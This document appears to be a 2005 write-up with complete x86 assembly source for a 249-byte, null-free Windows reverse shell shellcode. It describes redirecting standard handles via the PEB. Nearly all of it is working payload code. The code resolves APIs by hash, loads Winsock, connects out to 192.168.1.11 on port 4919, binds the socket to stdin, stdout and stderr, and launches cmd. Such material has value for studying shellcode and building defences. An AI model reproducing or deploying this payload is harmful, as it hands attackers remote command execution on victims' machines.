We use the PEB for the Output/Input/Error Handles.

typedef struct PEB
BOOLEAN InheritedAddressSpace ;
BOOLEAN ReadImageFileExecOptions ;
BOOLEAN BeingDebugged ;
BOOLEAN Spare ;
HANDLE Mutant ;
PVOID ImageBaseAddress ;
PPEB LDR DATA LoaderData ;
PRTL USER PROCESS PARAMETERS ProcessParameters ;
...
typedef struct RTL USER PROCESS PARAMETERS
ULONG MaximumLength ;
ULONG Length ;
ULONG Flags ;
ULONG DebugFlags ;
PVOID ConsoleHandle ;
ULONG ConsoleFlags ;
HANDLE StdInputHandle ; +18h
HANDLE StdOutputHandle ; +1Ch
HANDLE StdErrorHandle ; +20h
...

So with the nooil tricks we have now :
mov eax,dword ptr fs :[18h]
mov eax,dword ptr ds :[eax+30h]
mov eax,dword ptr ds :[eax+10h]
mov ecx, hClientSocket
mov dword ptr ds :[eax+18h],ecx ; SetStdHandle(STD INPUT HANDLE,hClientSocket) ;
mov dword ptr ds :[eax+1Ch],ecx ; SetStdHandle(STD OUTPUT HANDLE,hClientSocket) ;
mov dword ptr ds :[eax+20h],ecx ; SetStdHandle(STD ERROR HANDLE,hClientSocket) ;

249 bytes Reverse Generic Shellcode without loader(no null byte) : 

comment *
-----------------------------------------------------------------
---- New generation shellcode using my "nooil tricks" methods ---
----    (c) 2005 - Matthieu Suiche / msuiche@gmail.com        ---
249 bytes Reverse Generic Shellcode without loader(no null byte)
-----------------------------------------------------------------
hehe hi metasploit's guys ;)
*
.386
.model flat, stdcall

assume fs:nothing

LoadLibraryA    equ 0D6C3D898h
WSAStartupA     equ 0C7B3B4CBh
WSASocketA      equ 0B8ACB6C6h
connect 		equ 06EE2D2C8h
system			equ 0E873E6D8h
ExitProcessA    equ 0D7D8EA95h
; ------------------------------
sin_addr		equ 0B01A8C0h ; 192.168.1.11
sin_port		equ 3713h	; 4919
; ------------------------------
str_cmd			equ 0FF646D63h

; ----------------------------------------------------
_nooil_ segment public ; writable section
;.
; ----- CODE ----- 
scode:	
	jmp short _eip
	GetEip:
	pop		edi
	jmp short EntryPoint
_eip:
	call	GetEip
Kernel32BaseAddr:
	pushad
	test	eax, eax
	jnz		MyGetProcAddr
	; eax = 0
	mov 	eax, dword ptr fs:[eax+30h]
	mov 	eax, dword ptr ds:[eax+0ch]
	mov 	esi, dword ptr ds:[eax+1ch]
	lodsd
	mov 	eax, dword ptr ds:[eax+08h]
MyGetProcAddr:
	mov		edx, eax
	
; - PE
	add		edx, dword ptr ds:[edx+3ch]
	
; - Export Table
	mov		edx, dword ptr ds:[edx+78h]
	add		edx, eax
	
	mov 	ebx, dword ptr ds:[edx+20h]
	add		ebx, eax
	
	xor		ecx, ecx
	mov		ebp, eax
	
FindAddr:
	inc		ecx
	mov     edi, dword ptr ds:[ebx+ecx*4]
	add		edi, eax

	mov		esi, dword ptr [edi]		
	add		esi, dword ptr [edi+4]
	cmp		esi, [esp+36]
	jz		AddrFound
	jmp		short FindAddr
	
AddrFound:

	mov     ebx, dword ptr ds:[edx+24h]
	add     ebx, ebp
	mov     cx,word ptr ds:[ebx+ecx*2]
	
	mov     ebx, dword ptr ds:[edx+1Ch]
	add     ebx, ebp
	add     ebp, dword ptr ds:[ebx+ecx*4]

	mov		dword ptr [esp+28], ebp
	popad
	retn

EntryPoint:
	xor		eax, eax
	xor		ecx, ecx
	push	LoadLibraryA
	call	edi							; MyGetProcAddr(LoadLibraryA);
	mov		ebp, eax
	
	push	cx
	push    word ptr '23'
	push    '_2sw'
	push	esp
	call	eax		; LoadLibraryA("ws2_32");
	
	mov		ebx, eax
	
	push	WSAStartupA
	call	edi		; MyGetProcAddr(WSAStartupA)
	
	
	mov		esi, esp
	add		si, -301h
	push	esi
	push	2
	call	eax		; WSAStartup(2,&WSAstruct);
	
	mov		eax, ebx
	
	push	WSASocketA
	call	edi		; MyGetProcAddr(WSASocketA);
	
	xor		esi, esi
	push	esi
	push	esi
	push	esi
	push	esi
	inc		esi
	push	esi
	inc		esi
	push	esi
	call	eax		; WSASocket(2,1,0,0,0,0);
	
	xchg	ebx, eax ; ebx = sockfd , eax = ws2_32

	push	sin_addr
	push	word ptr sin_port
	push	si
	mov		esi, esp
	
	push	connect
	call	edi		; MyGetProcAddr(connect)
	
	push	10h
	push	esi
	push	ebx
	call	eax		; connect(sockfd, &struct, sizeof(struct));
	
	push	ax
	push	word ptr 'tr'
	push	'cvsm'
	push	esp
	call	ebp		; LoadLibraryA("msvcrt");
	
	push	system
	call	edi		; MyGetProcAddr(system);

	; ----------------------------- nooil tricks ----------------------------------
	xor		ecx, ecx
	mov		ecx,dword ptr fs:[ecx+18h]
	mov		ecx,dword ptr ds:[ecx+30h]
	mov		ecx,dword ptr ds:[ecx+10h]
	mov		dword ptr ds:[ecx+18h],ebx ; SetStdHandle(STD_INPUT_HANDLE,hClient);
	mov     dword ptr ds:[ecx+1Ch],ebx ; SetStdHandle(STD_OUTPUT_HANDLE,hClient);
	mov     dword ptr ds:[ecx+20h],ebx ; SetStdHandle(STD_ERROR_HANDLE,hClient);
	; -----------------------------------------------------------------------------
	

	push    str_cmd
	inc		byte ptr [esp+3]
	push	esp
	call	eax	; system("cmd");
	
	; Exit
	push	ExitProcessA
	call	edi		; MyGetProcAddr(ExitProcessA)
	call	eax		; ExitProcessA();
end scode
; ------ END CODE ------
;.
_nooil_ ends
; ----------------------------------------------------